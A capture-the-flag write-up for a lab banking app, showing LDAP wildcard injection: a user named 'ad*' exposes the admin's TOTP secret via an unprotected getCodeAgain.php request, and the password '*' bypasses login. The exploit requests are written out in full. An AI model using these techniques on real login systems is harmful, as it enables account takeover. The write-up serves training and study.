

The vulnerability

The Bank Application presumably works with LDAP. LDAP has a wildcard character (*) which allows the search/filter to match all occurrences in the parameter. This can be exploited by creating an account that starts with a substring of "admin" and ends with a trailing wildcard (*). This can be used in the filter statement used to distinguish users from admins which ultimately allows an attacker to get the TOTP (otpaath) secret of any account (including the admin account). The wildcard also allows an attacker to enter the wildcard as a password which will bypass the password login (not the 2FA).

The process

1. Create a user that contains a substring of "admin" & ends with a "*".
Here the username "ad*" and password "ad" have been chosen.

```
Request URL: https://b6b8f288-67d7-46d1-9c08-571e9a2b045c.idocker.vuln.land/login.php?name=ad*&password=ad&type=register
Request Method: GET
Status Code: 200 OK
Remote Address: 152.96.7.3:443
Referrer Policy: strict-origin-when-cross-origin
```

2. Use the "gauth" web app (<https://gauth.apps.gbraad.nl/>) to generate/manage the TOTP codes.
Add the secret key of the newly created account to the TOTP list.

```
<div>
0 <div class="main">
1 <div class="col-md-6 col-sm-12">
2 <div class="login-form">
3 New user created. <br><br>Use the secret below to login.<br>H6YDLBRAURSRZRKR<br>HERE</a> after you saved this secret to login.
6 </div>
7 </div>
8 </div>
```

Account name:

Ad* (CanIHackBank)

Secret key:

H6YDLBRAURSRZRKR

+ Add Cancel

3. Login with the newly created user & enter the 2FA code generated on the "gauth" web app.

Simply the Best Bank

Enter your 2FA code to continue

2FA Code

300772

Verify Code

4. The “Security Settings” page makes a request to “/getCodeAgain.php?name=<username>”. We can make a request to “/getCodeAgain.php?name=admin” to get the secret key of the admin.

The screenshot shows the 'Security Settings' page of the 'CanIHack Bank' application. The page displays a QR code and a secret key: 'H6YDLBRAUR5RZRKR'. Below the QR code, there is a text prompt: 'Use the secret below to login. N5ZXIAWRGFCISJSW'. The network tab of the browser's developer tools is open, showing a list of requests. The request 'getCodeAgain.php?name=admin' is highlighted, showing a status of 200 and a type of document. The response is a PNG image with a data URI: '?data=otpauth%3A%2F%2Fotp%2FCanI...'. The network tab also shows a list of resources loaded on the page, including 'account.php', 'jquery-3.5.1.min.js', 'popper.min.js', 'bootstrap.min.js', 'feather.min.js', 'overview.html?name=admin', and 'getCodeAgain.php?name=admin'.

5. Add the secret of the admin to “gauth”.

The screenshot shows the 'gauth' form. It has two input fields: 'Account name:' and 'Secret key:'. The 'Account name' field contains 'Admin (CanIHackBank)'. The 'Secret key' field contains 'N5ZXIAWRGFCISJSW'. Below the input fields are two buttons: 'Add' and 'Cancel'.

6. Login with the user “admin” and password “*”. The wildcard will allow us to bypass the password login.

The screenshot shows the 'General' tab of the browser's network tab. It displays the details of a request to 'https://b6b8f288-67d7-46d1-9c08-571e9a2b045c.idocker.vuln.land/login.php?name=admin&password=*&type=login'. The request method is 'GET'. The status code is '302 Found'. The remote address is '152.96.7.3:443'. The referrer policy is 'strict-origin-when-cross-origin'.

7. Now enter the code from “gauth” as the 2FA verification code & get the flag from the main page.

One-time passwords

964424

Ad* (CanIHackBank)

096794

Admin (CanIHackBank)

Simply the Best Bank

Enter your 2FA code to continue

2FA Code

096794

Verify Code

CanIHack Bank

Account of admin

Payments

Security Settings

Support

logout

Congrats, you found the flag!!! shc2021{HereIsTheCashMoneyyyyyy}